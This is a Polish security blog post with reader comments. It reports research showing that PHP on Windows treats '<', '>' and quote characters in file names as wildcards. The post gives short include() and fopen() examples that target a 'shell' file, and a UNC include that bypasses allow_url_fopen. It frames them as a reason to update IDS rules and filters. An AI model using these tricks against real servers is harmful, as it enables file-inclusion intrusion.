14:03
12/1/2011

Rosyjska firma ONsec opublikowała ciekawy raport dotyczący tego, jak PHP na Windowsie traktuje nazwy plików. Badanie pokazuje, że wszyscy którzy hostują swoje webaplikacje napisane w PHP na Windows, powinni jeszcze raz przyjrzeć się wszelkim regexpom i regułkom na IDS-ach…

Nazwy plików a PHP na Windows

Do stworzenia raportu badaczy zainspirował fakt, że w Windows interpreter PHP może z sukcesem odwołać się do pliku na 4 poniższe sposoby:

  • example.phP
  • example.php
  • example.ph>
  • example.ph<

Z przeprowadzonych przez ONsec testów wynika, że za błąd odpowiedzialna jest funkcja WinAPI FindFirstFile(). Badacze zauważyli, że znak > zastępowany jest tak naprawdę przez ? a < przez * i dodatkowo zastępowany jest przez .. Co ciekawe, ten bug jest znany Microsoftowi od roku 2007.

Do czego można to wykorzystać?

Pozwólcie, że konsekwencje takiego zachowania funkcji FindFirstFile() pokażemy na przykładach:

include(‘shell<‘)
< zamieniane jest na *, i dowolny plik pasujący do maski shell* jest załączany
include(‘shell.p>p’)
> zamieniane jest na ? i dowolny plik pasujący do maski shell.p?p jest załaczany
include(‘shell”.php’)
” zamieniany jest na .

Lista funkcji PHP, które korzystają z błednej funkcji WinAPI

Co ciekawe, badanie wykazało, że fopen(“htaccess”); odpowiada fopen(“.htaccess”) a także, korzystając z zaprezentowanych powyżej tricków, jest równoważny fopen(“h>>”). Pełen raport przypomina również, że za pomocą include (‘\\server\shell.php’); można obejść blokadę allow_url_fopen=off.

Testów dokonano na PHP 4.9, PHP 5.2, PHP 5.3, PHP 6.0. oraz systemach Windows XP SP3 x32, Windows XP SP2 x64, Windows 7, Windows Server 2003. Jak podkreślają pracownicy Onsecu, najprawdopodobniej wszystkie windowsy i inne wersje interpretera PHP też będą podatne na ten bug.

Jeśli korzystasz z PHP na Windows powinieneś odpowiednio dostosować regułki IDS/IPS-ów oraz ew. regexpy w twojej webaplikacji.

Jeśli jesteś zainteresowany tematyką bezpieczeństwa webaplikacji, zapraszamy na nasze szkolenie

Przeczytaj także:



19 komentarzy

Dodaj komentarz
  1. Dobrze,że tylko interpreter Windowsowy.
    Mam pytanie niezwiązane z tematem.Jak to jest z softem i zabezpieczeniami w telefonach komórkowych,i nie chodzi mi tu o symbiana,windows mobile,czy j2me,tylko o software.Jeśli ktoś zna linki do stronek,na temat którego nie mogę sprecyzować to byłbym wdzięczny.

  2. Zapomniałem dopisać ze chodzi mi o sofware niższego poziomu,który steruje pracą telefonu.

  3. Temat troche mylący – bug jest raczej w API win, niż w PHP, ale tym niemniej regułki warto posprawdzać, bo może być ciekawie :) Przy okazji – ukmnęło gdzieś nam wszystkim (a przynajmniej mi), że nie działa już sztuczka z null-byte injection. Poprawili w grudniu, weszło w PHP 5.3.4:

    http://bugs.php.net/bug.php?id=39863

    http://php.net/ChangeLog-5.php

  4. bzdruki, dziwnostki ;]
    ciekawe co będzie dalej ;]

    powinniście unikać takich słów w tytułach, mi się kojarzą ze słowami nastolatków typu: koffam, lovciam itp ;]

    • zaba285: osobliwość brzmiała tak jakoś za poważnie ;)

  5. @aris: poczytaj forum o jakiś Sony Ericssonach. Tam znajdzie się trochę informacji o assemblerze ARM i patchach itd.

  6. Za kazdym razem kiedy ktos spyta mnie dlaczego smieje sie z faktu iz postawil serwer na windowsie, podrzuce mu link do tego ‘newsa’.

  7. @Piotr Konieczny: Ale przynajmniej nie brzmiałoby to religijnie. Polecam kupno słownika synonimów, bo wykształcony człowiek używa synonimów, a nie zapożyczeń i to w dodatku takich paskudnych :-/.

  8. Dzakus:dzięki

  9. […] całość wpisu zapraszam na niebezpiecznik lub pouczyć się […]

  10. Bardzo grozny ten bug chyba nie jest? :>
    Zeby cos namieszac trzeba by zmienic kod w skryptach php a zeby to zrobic trzebaby miec dostep do plikow php a jak sie ma dostep do plikow php to chyba ju zpo ptokach :P
    Chyba ze hostuje sie cudze stronki na serwerku postawionym na windowsie :> Ale wtedy nei powinno sie ostrzegac tworcow webaplikacji tylko adminow chyba? :>

  11. @greku: ty chyba nie znasz PHP I podstawowych atakow takich jak LFI czy RFI.

  12. greku wybierz się na szkolenie ;)

  13. W afd też można użyć jakby był tylko filtr na zakończenie php.

  14. @r9s: a ja kiedy śmieje się, że ktoś coś skrobie w php:)

  15. Najprzyjemniejsze jest tutaj wykorzystanie znaku <.
    Przykład przydatnego bruteforcowanie jak w hakerskich filmach:
    http://ptresearch.blogspot.com/2011/01/php-features-in-windows-operating.html

  16. Heh bug szczególnie groźny dla tych co lubią includować coś prosto z tablicy GET ;)
    include($_GET[‘page’]); Osobiście radziłbym się wystrzegać przed takim rozwiązaniem nawet jeżeli wcześniej się filtruje tablicę $_GET :)

  17. Wlasnie, jak na moj gust to zaatakowac w ten sposob mozna raczej tylko aplikacje napisane przez “programistow php” od siedmiu bolesci ;)

  18. […] użyć http://IP/test.asp?file=.%./bla.txt  (bo % jest pomijane). Warto tu przywołać ciekawe zachowanie PHP w dostępie do plików — metoda ataku bardzo zbliżona do […]

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: